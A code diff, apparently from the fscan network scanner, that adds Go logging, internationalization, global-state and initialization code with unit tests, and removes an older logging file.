if maxPacketCount > 0 {
|
||||
currentTotal := state.GetPacketCount()
|
||||
if currentTotal >= maxPacketCount {
|
||||
return false, &PacketLimitError{
|
||||
Sentinel: ErrMaxPacketReached,
|
||||
Limit: maxPacketCount,
|
||||
Current: currentTotal,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 检查频率限制
|
||||
return state.CheckAndIncrementPacketRate(config.Network.PacketRateLimit)
|
||||
}
|
||||
|
||||
// CanSendPacket 便捷API - 使用全局配置和状态
|
||||
// 内部调用 CanSendPacketWith,保持向后兼容(返回string)
|
||||
func CanSendPacket() (bool, string) {
|
||||
ok, err := CanSendPacketWith(GetGlobalConfig(), GetGlobalState())
|
||||
if err != nil {
|
||||
return ok, err.Error()
|
||||
}
|
||||
return ok, ""
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 全局 Config 和 State 实例(新架构)
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
// globalConfig 全局配置实例(小写,不直接暴露)
|
||||
globalConfig *Config
|
||||
|
||||
// globalState 全局状态实例(小写,不直接暴露)
|
||||
globalState *State
|
||||
|
||||
// globalMu 保护全局变量的读写锁
|
||||
globalMu sync.RWMutex
|
||||
)
|
||||
|
||||
// GetGlobalConfig 获取全局配置实例(线程安全)
|
||||
// 使用读写锁保护,避免竞态条件
|
||||
func GetGlobalConfig() *Config {
|
||||
globalMu.RLock()
|
||||
cfg := globalConfig
|
||||
globalMu.RUnlock()
|
||||
|
||||
if cfg != nil {
|
||||
return cfg
|
||||
}
|
||||
|
||||
// 需要初始化,获取写锁
|
||||
globalMu.Lock()
|
||||
defer globalMu.Unlock()
|
||||
|
||||
// 双重检查,避免重复初始化
|
||||
if globalConfig == nil {
|
||||
globalConfig = NewConfig()
|
||||
}
|
||||
return globalConfig
|
||||
}
|
||||
|
||||
// SetGlobalConfig 设置全局配置实例(线程安全)
|
||||
func SetGlobalConfig(cfg *Config) {
|
||||
globalMu.Lock()
|
||||
globalConfig = cfg
|
||||
globalMu.Unlock()
|
||||
}
|
||||
|
||||
// GetGlobalState 获取全局状态实例(线程安全)
|
||||
// 使用读写锁保护,避免竞态条件
|
||||
func GetGlobalState() *State {
|
||||
globalMu.RLock()
|
||||
st := globalState
|
||||
globalMu.RUnlock()
|
||||
|
||||
if st != nil {
|
||||
return st
|
||||
}
|
||||
|
||||
// 需要初始化,获取写锁
|
||||
globalMu.Lock()
|
||||
defer globalMu.Unlock()
|
||||
|
||||
// 双重检查,避免重复初始化
|
||||
if globalState == nil {
|
||||
globalState = NewState()
|
||||
}
|
||||
return globalState
|
||||
}
|
||||
|
||||
// SetGlobalState 设置全局状态实例(线程安全)
|
||||
func SetGlobalState(state *State) {
|
||||
globalMu.Lock()
|
||||
globalState = state
|
||||
globalMu.Unlock()
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 字符串工具函数
|
||||
// =============================================================================
|
||||
|
||||
// ContainsAny 检查字符串是否包含任意一个子串
|
||||
func ContainsAny(s string, substrs ...string) bool {
|
||||
for _, substr := range substrs {
|
||||
if strings.Contains(s, substr) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) {
|
||||
info := &HostInfo{Host: "2001:db8::1", Port: 443}
|
||||
if got, want := info.Target(), "[2001:db8::1]:443"; got != want {
|
||||
t.Fatalf("Target() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostInfoTargetDoesNotDoubleBracketIPv6(t *testing.T) {
|
||||
info := &HostInfo{Host: "[2001:db8::1]", Port: 443}
|
||||
if got, want := info.Target(), "[2001:db8::1]:443"; got != want {
|
||||
t.Fatalf("Target() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGlobalHelpersAndPacketLimitErrors(t *testing.T) {
|
||||
if GetVersion() == "" {
|
||||
t.Fatal("GetVersion returned empty string")
|
||||
}
|
||||
if !ContainsAny("hello fscan", "none", "scan") {
|
||||
t.Fatal("ContainsAny should find a matching substring")
|
||||
}
|
||||
if ContainsAny("hello fscan", "none", "missing") {
|
||||
t.Fatal("ContainsAny should return false when nothing matches")
|
||||
}
|
||||
|
||||
maxErr := &PacketLimitError{Sentinel: ErrMaxPacketReached, Limit: 5, Current: 5}
|
||||
if !errors.Is(maxErr, ErrMaxPacketReached) || !strings.Contains(maxErr.Error(), "5") {
|
||||
t.Fatalf("max packet error = %v", maxErr)
|
||||
}
|
||||
|
||||
rateErr := &PacketLimitError{Sentinel: ErrPacketRateLimited, Limit: 3, Current: 2}
|
||||
if !errors.Is(rateErr, ErrPacketRateLimited) || !strings.Contains(rateErr.Error(), "3") {
|
||||
t.Fatalf("rate limit error = %v", rateErr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCanSendPacketUsesGlobalConfigAndState(t *testing.T) {
|
||||
previousConfig := GetGlobalConfig()
|
||||
previousState := GetGlobalState()
|
||||
t.Cleanup(func() {
|
||||
SetGlobalConfig(previousConfig)
|
||||
SetGlobalState(previousState)
|
||||
})
|
||||
|
||||
cfg := NewConfig()
|
||||
cfg.Network.MaxPacketCount = 1
|
||||
state := NewState()
|
||||
state.IncrementPacketCount()
|
||||
SetGlobalConfig(cfg)
|
||||
SetGlobalState(state)
|
||||
|
||||
ok, reason := CanSendPacket()
|
||||
if ok {
|
||||
t.Fatal("CanSendPacket should reject when max packet count is reached")
|
||||
}
|
||||
if reason == "" {
|
||||
t.Fatal("CanSendPacket should return a rejection reason")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
package i18n
|
||||
|
||||
import "embed"
|
||||
|
||||
//go:embed locales/*.yaml
|
||||
var localeFS embed.FS
|
||||
@@ -0,0 +1,97 @@
|
||||
package i18n
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/nicksnyder/go-i18n/v2/i18n"
|
||||
"golang.org/x/text/language"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
// 支持的语言常量
|
||||
const (
|
||||
LangZH = "zh"
|
||||
LangEN = "en"
|
||||
)
|
||||
|
||||
// 默认配置
|
||||
const (
|
||||
DefaultLanguage = LangZH
|
||||
FallbackLanguage = LangEN
|
||||
)
|
||||
|
||||
var (
|
||||
bundle *i18n.Bundle
|
||||
localizer *i18n.Localizer
|
||||
lang = DefaultLanguage
|
||||
mu sync.RWMutex
|
||||
)
|
||||
|
||||
func init() {
|
||||
bundle = i18n.NewBundle(language.Chinese)
|
||||
bundle.RegisterUnmarshalFunc("yaml", yaml.Unmarshal)
|
||||
|
||||
// 从embed加载翻译文件
|
||||
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/zh.yaml"); err != nil {
|
||||
panic(fmt.Sprintf("failed to load zh.yaml: %v", err))
|
||||
}
|
||||
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/en.yaml"); err != nil {
|
||||
panic(fmt.Sprintf("failed to load en.yaml: %v", err))
|
||||
}
|
||||
|
||||
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
|
||||
}
|
||||
|
||||
// SetLanguage 设置当前语言
|
||||
func SetLanguage(l string) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
lang = l
|
||||
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
|
||||
}
|
||||
|
||||
// GetLanguage returns the currently configured language.
|
||||
func GetLanguage() string {
|
||||
mu.RLock()
|
||||
defer mu.RUnlock()
|
||||
return lang
|
||||
}
|
||||
|
||||
// GetText 获取国际化文本(无参数)
|
||||
func GetText(key string) string {
|
||||
mu.RLock()
|
||||
loc := localizer
|
||||
mu.RUnlock()
|
||||
|
||||
msg, err := loc.Localize(&i18n.LocalizeConfig{
|
||||
MessageID: key,
|
||||
})
|
||||
if err != nil || msg == "" {
|
||||
return key
|
||||
}
|
||||
return msg
|
||||
}
|
||||
|
||||
// Tr 获取国际化文本并格式化(变参版本)
|
||||
// 参数按顺序映射为 {{.Arg1}}, {{.Arg2}}, ...
|
||||
func Tr(key string, args ...interface{}) string {
|
||||
mu.RLock()
|
||||
loc := localizer
|
||||
mu.RUnlock()
|
||||
|
||||
data := make(map[string]interface{}, len(args))
|
||||
for i, arg := range args {
|
||||
data["Arg"+strconv.Itoa(i+1)] = arg
|
||||
}
|
||||
|
||||
msg, err := loc.Localize(&i18n.LocalizeConfig{
|
||||
MessageID: key,
|
||||
TemplateData: data,
|
||||
})
|
||||
if err != nil || msg == "" {
|
||||
return key
|
||||
}
|
||||
return msg
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package i18n
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestLanguageLifecycleAndFallbacks(t *testing.T) {
|
||||
original := GetLanguage()
|
||||
t.Cleanup(func() { SetLanguage(original) })
|
||||
|
||||
SetLanguage(LangEN)
|
||||
if got := GetLanguage(); got != LangEN {
|
||||
t.Fatalf("language = %q, want %q", got, LangEN)
|
||||
}
|
||||
if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" {
|
||||
t.Fatalf("english text = %q, want translated text", got)
|
||||
}
|
||||
if got := Tr("debug_cpu_profile_started", "/tmp/profiles"); !strings.Contains(got, "/tmp/profiles") {
|
||||
t.Fatalf("formatted english text = %q, want path included", got)
|
||||
}
|
||||
|
||||
SetLanguage(LangZH)
|
||||
if got := GetLanguage(); got != LangZH {
|
||||
t.Fatalf("language = %q, want %q", got, LangZH)
|
||||
}
|
||||
if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" {
|
||||
t.Fatalf("chinese text = %q, want translated text", got)
|
||||
}
|
||||
|
||||
if got := GetText("missing_translation_key"); got != "missing_translation_key" {
|
||||
t.Fatalf("missing GetText = %q, want key", got)
|
||||
}
|
||||
if got := Tr("missing_translation_key", "ignored"); got != "missing_translation_key" {
|
||||
t.Fatalf("missing Tr = %q, want key", got)
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,94 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
/*
|
||||
initialize.go - 统一初始化入口
|
||||
|
||||
简化后的流程:
|
||||
命令行 → FlagVars → BuildConfig() → Config + State
|
||||
*/
|
||||
|
||||
// InitResult 初始化结果
|
||||
type InitResult struct {
|
||||
Config *Config
|
||||
State *State
|
||||
Info *HostInfo
|
||||
Session *ScanSession
|
||||
}
|
||||
|
||||
// Initialize 统一初始化函数
|
||||
// 封装 BuildConfig → InitOutput 流程
|
||||
func Initialize(info *HostInfo) (*InitResult, error) {
|
||||
// 1. 初始化日志系统
|
||||
InitLogger()
|
||||
|
||||
// 2. 从 FlagVars 构建 Config 和 State
|
||||
cfg, state, err := BuildConfig(GetFlagVars(), info)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("config_build_failed"), err)
|
||||
}
|
||||
|
||||
// 3. 设置全局实例
|
||||
SetGlobalConfig(cfg)
|
||||
SetGlobalState(state)
|
||||
|
||||
// 4. 初始化输出系统
|
||||
if err := InitOutput(); err != nil {
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("output_init_failed"), err)
|
||||
}
|
||||
|
||||
session := NewScanSession(cfg, state, GetFlagVars())
|
||||
|
||||
return &InitResult{
|
||||
Config: cfg,
|
||||
State: state,
|
||||
Info: info,
|
||||
Session: session,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// ValidateExclusiveParams 验证互斥参数
|
||||
// 检查 -h、-u、-local 只能指定一个
|
||||
func ValidateExclusiveParams(info *HostInfo) error {
|
||||
paramCount := 0
|
||||
var activeParam string
|
||||
|
||||
fv := GetFlagVars()
|
||||
|
||||
if info.Host != "" {
|
||||
paramCount++
|
||||
activeParam = "-h"
|
||||
}
|
||||
if fv.TargetURL != "" {
|
||||
paramCount++
|
||||
if activeParam != "" {
|
||||
activeParam = i18n.Tr("param_join_and", activeParam, "-u")
|
||||
} else {
|
||||
activeParam = "-u"
|
||||
}
|
||||
}
|
||||
if fv.LocalPlugin != "" {
|
||||
paramCount++
|
||||
if activeParam != "" {
|
||||
activeParam = i18n.Tr("param_join_and", activeParam, "-local")
|
||||
} else {
|
||||
activeParam = "-local"
|
||||
}
|
||||
}
|
||||
|
||||
if paramCount > 1 {
|
||||
return fmt.Errorf("%s", i18n.Tr("param_exclusive", activeParam))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Cleanup 清理资源
|
||||
func Cleanup() error {
|
||||
return CloseOutput()
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestValidateExclusiveParams(t *testing.T) {
|
||||
previous := GetFlagVars()
|
||||
t.Cleanup(func() { flagVars = previous })
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
info *HostInfo
|
||||
flags *FlagVars
|
||||
wantErr string
|
||||
}{
|
||||
{name: "host only", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{}},
|
||||
{name: "url only", info: &HostInfo{}, flags: &FlagVars{TargetURL: "http://example.com"}},
|
||||
{name: "local only", info: &HostInfo{}, flags: &FlagVars{LocalPlugin: "sshkey"}},
|
||||
{name: "host and url conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com"}, wantErr: "-h"},
|
||||
{name: "host url local conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com", LocalPlugin: "sshkey"}, wantErr: "-local"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
flagVars = tt.flags
|
||||
err := ValidateExclusiveParams(tt.info)
|
||||
if tt.wantErr == "" {
|
||||
if err != nil {
|
||||
t.Fatalf("ValidateExclusiveParams error = %v", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), tt.wantErr) {
|
||||
t.Fatalf("ValidateExclusiveParams error = %v, want containing %q", err, tt.wantErr)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCleanupWithoutOutput(t *testing.T) {
|
||||
oldResultOutput := ResultOutput
|
||||
oldStdoutWriter := StdoutWriter
|
||||
t.Cleanup(func() {
|
||||
ResultOutput = oldResultOutput
|
||||
StdoutWriter = oldStdoutWriter
|
||||
})
|
||||
|
||||
ResultOutput = nil
|
||||
StdoutWriter = nil
|
||||
if err := Cleanup(); err != nil {
|
||||
t.Fatalf("Cleanup error = %v", err)
|
||||
}
|
||||
}
|
||||
-143
@@ -1,143 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"github.com/fatih/color"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var Num int64
|
||||
var End int64
|
||||
var Results = make(chan *string)
|
||||
var Start = true
|
||||
var LogSucTime int64
|
||||
var LogErrTime int64
|
||||
var WaitTime int64
|
||||
var Silent bool
|
||||
var Nocolor bool
|
||||
var JsonOutput bool
|
||||
var LogWG sync.WaitGroup
|
||||
|
||||
type JsonText struct {
|
||||
Type string `json:"type"`
|
||||
Text string `json:"text"`
|
||||
}
|
||||
|
||||
func init() {
|
||||
LogSucTime = time.Now().Unix()
|
||||
go SaveLog()
|
||||
}
|
||||
|
||||
func LogSuccess(result string) {
|
||||
LogWG.Add(1)
|
||||
LogSucTime = time.Now().Unix()
|
||||
Results <- &result
|
||||
}
|
||||
|
||||
func SaveLog() {
|
||||
for result := range Results {
|
||||
if !Silent {
|
||||
if Nocolor {
|
||||
fmt.Println(*result)
|
||||
} else {
|
||||
if strings.HasPrefix(*result, "[+] InfoScan") {
|
||||
color.Green(*result)
|
||||
} else if strings.HasPrefix(*result, "[+]") {
|
||||
color.Red(*result)
|
||||
} else {
|
||||
fmt.Println(*result)
|
||||
}
|
||||
}
|
||||
}
|
||||
if IsSave {
|
||||
WriteFile(*result, Outputfile)
|
||||
}
|
||||
LogWG.Done()
|
||||
}
|
||||
}
|
||||
|
||||
func WriteFile(result string, filename string) {
|
||||
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
fmt.Printf("Open %s error, %v\n", filename, err)
|
||||
return
|
||||
}
|
||||
if JsonOutput {
|
||||
var scantype string
|
||||
var text string
|
||||
if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") {
|
||||
//找到第二个空格的位置
|
||||
index := strings.Index(result[4:], " ")
|
||||
if index == -1 {
|
||||
scantype = "msg"
|
||||
text = result[4:]
|
||||
} else {
|
||||
scantype = result[4 : 4+index]
|
||||
text = result[4+index+1:]
|
||||
}
|
||||
} else {
|
||||
scantype = "msg"
|
||||
text = result
|
||||
}
|
||||
jsonText := JsonText{
|
||||
Type: scantype,
|
||||
Text: text,
|
||||
}
|
||||
jsonData, err := json.Marshal(jsonText)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
jsonText = JsonText{
|
||||
Type: "msg",
|
||||
Text: result,
|
||||
}
|
||||
jsonData, err = json.Marshal(jsonText)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
jsonData = []byte(result)
|
||||
}
|
||||
}
|
||||
jsonData = append(jsonData, []byte(",\n")...)
|
||||
_, err = fl.Write(jsonData)
|
||||
} else {
|
||||
_, err = fl.Write([]byte(result + "\n"))
|
||||
}
|
||||
fl.Close()
|
||||
if err != nil {
|
||||
fmt.Printf("Write %s error, %v\n", filename, err)
|
||||
}
|
||||
}
|
||||
|
||||
func LogError(errinfo interface{}) {
|
||||
if WaitTime == 0 {
|
||||
fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo)
|
||||
} else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime {
|
||||
fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo)
|
||||
LogErrTime = time.Now().Unix()
|
||||
}
|
||||
}
|
||||
|
||||
func CheckErrs(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
errs := []string{
|
||||
"closed by the remote host", "too many connections",
|
||||
"i/o timeout", "EOF", "A connection attempt failed",
|
||||
"established connection failed", "connection attempt failed",
|
||||
"Unable to read", "is not allowed to connect to this",
|
||||
"no pg_hba.conf entry",
|
||||
"No connection could be made",
|
||||
"invalid packet size",
|
||||
"bad connection",
|
||||
}
|
||||
for _, key := range errs {
|
||||
if strings.Contains(strings.ToLower(err.Error()), strings.ToLower(key)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
package common
|
||||
|
||||
/*
|
||||
logger.go - 日志系统简化接口
|
||||
|
||||
提供统一的日志API,底层使用logging包实现。
|
||||
*/
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/logging"
|
||||
)
|
||||
|
||||
var (
|
||||
globalLogger *logging.Logger
|
||||
loggerOnce sync.Once
|
||||
loggerMu sync.Mutex
|
||||
silentLoggerRefs int
|
||||
)
|
||||
|
||||
func getGlobalLogger() *logging.Logger {
|
||||
loggerMu.Lock()
|
||||
defer loggerMu.Unlock()
|
||||
|
||||
loggerOnce.Do(func() {
|
||||
fv := GetFlagVars()
|
||||
level := getLogLevelFromString(fv.LogLevel)
|
||||
config := &logging.LoggerConfig{
|
||||
Level: level,
|
||||
EnableColor: !fv.NoColor,
|
||||
SlowOutput: false,
|
||||
ShowProgress: !fv.DisableProgress,
|
||||
Silent: fv.Silent || silentLoggerRefs > 0,
|
||||
StartTime: GetGlobalState().GetStartTime(),
|
||||
}
|
||||
if fv.Debug {
|
||||
config.DebugLogFile = "fscan_debug.log"
|
||||
}
|
||||
globalLogger = logging.NewLogger(config)
|
||||
globalLogger.SetCoordinatedOutput(LogWithProgress)
|
||||
})
|
||||
return globalLogger
|
||||
}
|
||||
|
||||
func getLogLevelFromString(levelStr string) logging.LogLevel {
|
||||
switch strings.ToLower(levelStr) {
|
||||
case "all":
|
||||
return logging.LevelAll
|
||||
case "error":
|
||||
return logging.LevelError
|
||||
case "base":
|
||||
return logging.LevelBase
|
||||
case "info":
|
||||
return logging.LevelInfo
|
||||
case "success":
|
||||
return logging.LevelSuccess
|
||||
case "debug":
|
||||
return logging.LevelDebug
|
||||
case "info,success":
|
||||
return logging.LevelInfoSuccess
|
||||
case "base,info,success", "base_info_success":
|
||||
return logging.LevelBaseInfoSuccess
|
||||
default:
|
||||
return logging.LevelInfoSuccess
|
||||
}
|
||||
}
|
||||
|
||||
// InitLogger 初始化日志系统
|
||||
func InitLogger() {
|
||||
getGlobalLogger().Initialize()
|
||||
}
|
||||
|
||||
// LogDebug 输出调试日志
|
||||
func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
|
||||
|
||||
// LogInfo 输出信息日志
|
||||
func LogInfo(msg string) { getGlobalLogger().Info(msg) }
|
||||
|
||||
// LogSuccess 输出成功日志(Web指纹等)
|
||||
func LogSuccess(result string) { getGlobalLogger().Success(result) }
|
||||
|
||||
// LogVuln 输出漏洞/重要发现日志(密码成功、漏洞等)
|
||||
func LogVuln(result string) { getGlobalLogger().Vuln(result) }
|
||||
|
||||
// LogError 输出错误日志
|
||||
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
|
||||
|
||||
// CloseLogger 关闭日志系统,释放文件资源
|
||||
func CloseLogger() {
|
||||
loggerMu.Lock()
|
||||
defer loggerMu.Unlock()
|
||||
closeLoggerLocked()
|
||||
}
|
||||
|
||||
// PushSilentLogger suppresses process-wide legacy log output until the returned
|
||||
// restore function is called. It is reference counted so concurrent embedded
|
||||
// scans can overlap safely.
|
||||
func PushSilentLogger() func() {
|
||||
loggerMu.Lock()
|
||||
silentLoggerRefs++
|
||||
resetLoggerLocked()
|
||||
loggerMu.Unlock()
|
||||
|
||||
var once sync.Once
|
||||
return func() {
|
||||
once.Do(func() {
|
||||
loggerMu.Lock()
|
||||
if silentLoggerRefs > 0 {
|
||||
silentLoggerRefs--
|
||||
}
|
||||
resetLoggerLocked()
|
||||
loggerMu.Unlock()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func resetLoggerLocked() {
|
||||
closeLoggerLocked()
|
||||
globalLogger = nil
|
||||
loggerOnce = sync.Once{}
|
||||
}
|
||||
|
||||
func closeLoggerLocked() {
|
||||
if globalLogger != nil {
|
||||
globalLogger.Close()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
package common
|
||||
|
||||
import "testing"
|
||||
|
||||
func preserveLoggerForTest(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
loggerMu.Lock()
|
||||
oldSilentRefs := silentLoggerRefs
|
||||
silentLoggerRefs = 0
|
||||
resetLoggerLocked()
|
||||
loggerMu.Unlock()
|
||||
|
||||
t.Cleanup(func() {
|
||||
loggerMu.Lock()
|
||||
closeLoggerLocked()
|
||||
silentLoggerRefs = oldSilentRefs
|
||||
resetLoggerLocked()
|
||||
loggerMu.Unlock()
|
||||
})
|
||||
}
|
||||
|
||||
func TestLoggerFacadeSilentLifecycle(t *testing.T) {
|
||||
preserveLoggerForTest(t)
|
||||
|
||||
previousFlags := GetFlagVars()
|
||||
previousState := GetGlobalState()
|
||||
t.Cleanup(func() {
|
||||
flagVars = previousFlags
|
||||
SetGlobalState(previousState)
|
||||
})
|
||||
flagVars = &FlagVars{Silent: true, LogLevel: "debug"}
|
||||
SetGlobalState(NewState())
|
||||
|
||||
InitLogger()
|
||||
LogDebug("debug")
|
||||
LogInfo("info")
|
||||
LogSuccess("success")
|
||||
LogVuln("vuln")
|
||||
LogError("error")
|
||||
CloseLogger()
|
||||
}
|
||||
|
||||
func TestPushSilentLoggerReferenceCount(t *testing.T) {
|
||||
preserveLoggerForTest(t)
|
||||
|
||||
restoreOne := PushSilentLogger()
|
||||
restoreTwo := PushSilentLogger()
|
||||
if silentLoggerRefs != 2 {
|
||||
t.Fatalf("silent refs = %d, want 2", silentLoggerRefs)
|
||||
}
|
||||
|
||||
restoreOne()
|
||||
restoreOne()
|
||||
if silentLoggerRefs != 1 {
|
||||
t.Fatalf("silent refs after first restore = %d, want 1", silentLoggerRefs)
|
||||
}
|
||||
|
||||
restoreTwo()
|
||||
if silentLoggerRefs != 0 {
|
||||
t.Fatalf("silent refs after second restore = %d, want 0", silentLoggerRefs)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
package logging
|
||||
|
||||
/*
|
||||
constants.go - 日志系统常量定义
|
||||
|
||||
统一管理common/logging包中的所有常量,便于查看和编辑。
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 日志级别常量 - 层级设计
|
||||
// =============================================================================
|
||||
|
||||
// LogLevel 日志级别类型(数值越小越详细)
|
||||
type LogLevel int
|
||||
|
||||
// 定义系统支持的日志级别常量(层级:Debug < Base < Info < Success < Vuln < Error)
|
||||
const (
|
||||
LevelDebug LogLevel = 0 // 调试信息(最详细)
|
||||
LevelBase LogLevel = 1 // 基础信息(扫描进度等)
|
||||
LevelInfo LogLevel = 2 // 一般信息(端口开放、服务识别等)
|
||||
LevelSuccess LogLevel = 3 // 成功结果(Web指纹等)
|
||||
LevelVuln LogLevel = 4 // 重要发现(弱密码、漏洞等)
|
||||
LevelError LogLevel = 5 // 错误信息(始终显示)
|
||||
)
|
||||
|
||||
// 向后兼容的别名
|
||||
const (
|
||||
LevelAll LogLevel = LevelDebug // ALL 等同于 Debug(显示所有)
|
||||
LevelInfoSuccess LogLevel = LevelInfo // 废弃,映射到 Info
|
||||
LevelBaseInfoSuccess LogLevel = LevelBase // 废弃,映射到 Base
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 时间显示常量 (从Formatter.go迁移)
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// MaxMillisecondDisplay 毫秒显示的最大时长
|
||||
MaxMillisecondDisplay = time.Second
|
||||
// MaxSecondDisplay 秒显示的最大时长
|
||||
MaxSecondDisplay = time.Minute
|
||||
// MaxMinuteDisplay 分钟显示的最大时长
|
||||
MaxMinuteDisplay = time.Hour
|
||||
|
||||
// SlowOutputDelay 慢速输出延迟
|
||||
SlowOutputDelay = 50 * time.Millisecond
|
||||
|
||||
// ProgressClearDelay 进度条清除延迟
|
||||
ProgressClearDelay = 10 * time.Millisecond
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 日志前缀常量 (从Formatter.go迁移)
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// PrefixDebug 调试日志前缀
|
||||
PrefixDebug = "[.]"
|
||||
// PrefixInfo 信息日志前缀
|
||||
PrefixInfo = "[*]"
|
||||
// PrefixSuccess 成功日志前缀
|
||||
PrefixSuccess = "[+]"
|
||||
// PrefixVuln 漏洞/重要发现前缀
|
||||
PrefixVuln = "[!]"
|
||||
// PrefixError 错误日志前缀
|
||||
PrefixError = "[-]"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 默认配置常量
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// DefaultLevel 默认日志级别
|
||||
DefaultLevel = LevelAll
|
||||
// DefaultEnableColor 默认启用彩色输出
|
||||
DefaultEnableColor = true
|
||||
// DefaultSlowOutput 默认不启用慢速输出
|
||||
DefaultSlowOutput = false
|
||||
// DefaultShowProgress 默认显示进度条
|
||||
DefaultShowProgress = true
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 默认颜色映射
|
||||
// =============================================================================
|
||||
|
||||
// GetDefaultLevelColors 获取默认的日志级别颜色映射
|
||||
func GetDefaultLevelColors() map[LogLevel]interface{} {
|
||||
return map[LogLevel]interface{}{
|
||||
LevelError: color.FgYellow, // 错误日志显示黄色
|
||||
LevelVuln: color.FgRed, // 漏洞/重要发现显示红色(密码成功、漏洞等)
|
||||
LevelBase: color.FgWhite, // 基础日志显示白色(普通信息)
|
||||
LevelInfo: color.FgWhite, // 信息日志显示白色(普通信息)
|
||||
LevelSuccess: color.FgGreen, // 成功日志显示绿色(Web指纹等)
|
||||
LevelDebug: color.FgWhite, // 调试日志显示白色
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,259 @@
|
||||
package logging
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
// LogEntry 日志条目
|
||||
type LogEntry struct {
|
||||
Level LogLevel `json:"level"`
|
||||
Time time.Time `json:"time"`
|
||||
Content string `json:"content"`
|
||||
Source string `json:"source"`
|
||||
Metadata map[string]interface{} `json:"metadata"`
|
||||
}
|
||||
|
||||
// LoggerConfig 日志器配置
|
||||
type LoggerConfig struct {
|
||||
Level LogLevel `json:"level"`
|
||||
EnableColor bool `json:"enable_color"`
|
||||
SlowOutput bool `json:"slow_output"`
|
||||
ShowProgress bool `json:"show_progress"`
|
||||
Silent bool `json:"silent"`
|
||||
